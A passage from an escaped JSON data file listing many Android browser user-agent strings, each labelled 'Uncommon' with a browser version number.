Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.1; en-us; Velocitymicro\\/T410) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-ca; SGH-I317M-parrot Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; fr-fr; GT-S5830i Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; Amaze_4G Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; DROID RAZR 4G Build\\/6.5.1-167_DHD-14_M3-8) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-au; SM-T110 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.3; pt-br; GT-I9000B Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; it-it; GT-I9001 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; pl-pl; GT-S5570 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-au; GT-I9300 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; GT-N8013 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4.2\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; es-mx; ONE TOUCH 4015A Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.2 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/1.6.0 (Linux; U; Android 4.2.2; GT-P3110 Build\\/JDQ39)\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 0.5; en-us) AppleWebKit\\/522+ (KHTML, like Gecko) Safari\\/419.3\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; Micromax A72 Build\\/GRK39F) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; ADVAN E1C+ Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4.2\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-gb; Vodafone 785 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.2 Mobile Safari\\/534.30 SVN\\/120HJG1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/2.1.0 (Linux; U; Android 7.0; SM-G930V Build\\/NRD90M)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.2; en-us; LG-P505\\/V10i Build\\/FRG83G) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.2; en-us; Dell Streak 7 Build\\/FRG83G) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; ru-ru; GT-S5282 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Callpod Keeper for Android 1.0 (10.3.5\\/250) Dalvik\\/2.1.0 (Linux; U; Android 6.0.1; SAMSUNG-SM-G925A Build\\/MMB29K)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; zh-tw; C6602 Build\\/10.4.1.B.0.101) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-us; generic Build\\/unknown) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4.2\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; es-mx; ONE TOUCH 4033A Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.2 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/2.1.0 (Linux; U; Android 5.0.1; SCH-I545 Build\\/LRX22C)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; HTC_T120C Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; Venue 7 3730 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.1; es-us; HUAWEI G610-U15 Build\\/HuaweiG610-U15) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.4; pt-br; SM-G530BT Build\\/KTU84P) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; HTC_PN07120\\/1.26.502.12 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; es-us; GT-S5830i Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; he-il; GT-I9105P Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-gb; ME173X Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; es-us; GT-P5113 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; es-es; GT-P5110 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-gb; GT-I9100P-ORANGE\\/I9100PBVKI3 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; es-us; HTC0P3P7 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; Y220-U10 Build\\/HUAWEIY220-U10) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-gb; GT-P3100 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-ca; SonyEricssonLT15a Build\\/4.0.2.A.0.42) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.2; en-us; LG-MS690 Build\\/FRG83G) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; SPH-D710 Build\\/IMM76I) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; sv-se; SonyST21i Build\\/11.0.A.4.22) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; es-us; HTC_0PCV220\\/1.11.506.5 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-us; SCH-R680 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1 USCC-R680\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; es-us; GT-S5830L Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.2; en-us) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; pt-br; GT-I9300 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.3; en-us; Desire HD Build\\/GRI40) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; ja-jp; SC-06D Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; GT-P5100 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; fr-fr; GT-I9300 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4.1\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; Alcatel A851L Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.1 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; pt-br; LG-E400f Build\\/GRK39F) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1 MMS\\/LG-Android-MMS-V1.2\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; USCC-US780 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; zh-cn; T21 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android Eclair; en-us Build\\/pandigitalopc1\\/sourceidDL00000009) AppleWebKit\\/530.17 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/530.17\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.4; fr-fr; GT-I9060I Build\\/KTU84P) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3.1; en-us; SAMSUNG-SGH-I727 Build\\/JLS36I) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30 CyanogenMod\\/10.2.0\\/skyrocket\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I8190N Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; Transformer Prime TF201 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SonyLT30at Build\\/9.1.F.1.120) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-gb; MZ601 Build\\/I.7.1-45) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-au; GT-I9305 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-au; GT-I9100T Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; HUAWEI Y330-U05 Build\\/HuaweiY330-U05) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-gb; HTC_DesireHD_A9191 Build\\/GRJ90) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; HTC_0P9O110\\/1.53.502.11 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.4; es-us; SM-G360P Build\\/KTU84P) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; pt-br; GT-P3110 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-gb; SM-T211 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; SPH-L900 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Android 5.0.1; HTC6525LVW Build\\/LRX22C) AppleWebKit\\/537.36 (KHTML, like Gecko) NTENTBrowser\\/2.0.0.49 (ProjectFreedom-US) Mobile Safari\\/537.36\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; SCH-I535 4G Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; zh-cn; Coolpad8150S Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; ASUS_T00J Build\\/JSS15Q) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.4; en-ph; SM-G530H Build\\/KTU84P) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-ca; Z520m Build\\/JRO03C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2; Ezcast Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/537.36\\/ezcast\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; KFJWA Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; ADR6350 Build\\/GRJ22) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-au; GT-P3110 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; GT-I8262 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/2.1.0 (Linux; U; Android 5.0; SM-N900V Build\\/LRX21V)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; Milestone X2 Build\\/45.0.43) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.1; en-us; HUAWEI G610-U20 Build\\/HuaweiG610-U20) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.1; en-us; ASUS Transformer Pad TF700T Build\\/JOP40D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; A727 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; es-es; GT-S7500L Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; Xoom Build\\/IMM76) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-gb; GT-N7105 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I9100P Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; HTC_One_S Build\\/JRO03C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-gb; GT-I9003 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-gb; GT-P5100 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; Next8P12 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-au; GT-I9300T Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SAMSUNG-SGH-I407 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3;en-es; ZTE V791 Build\\/FRF91) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-au; HTC EVA_UL Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; Lenovo A369i Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-au; GT-P5100 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; es-es; A200 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; HUAWEI M881 Build\\/HuaweiM881) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; LG-LG730 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; DROID BIONIC 4G Build\\/6.7.2-223_DBN_M4-23) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 3.2; en-gb; GT-P6200 Build\\/HTJ85B) AppleWebKit\\/534.13 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.13\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-us; Huawei-U8652 Build\\/HuaweiU8652B855) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; 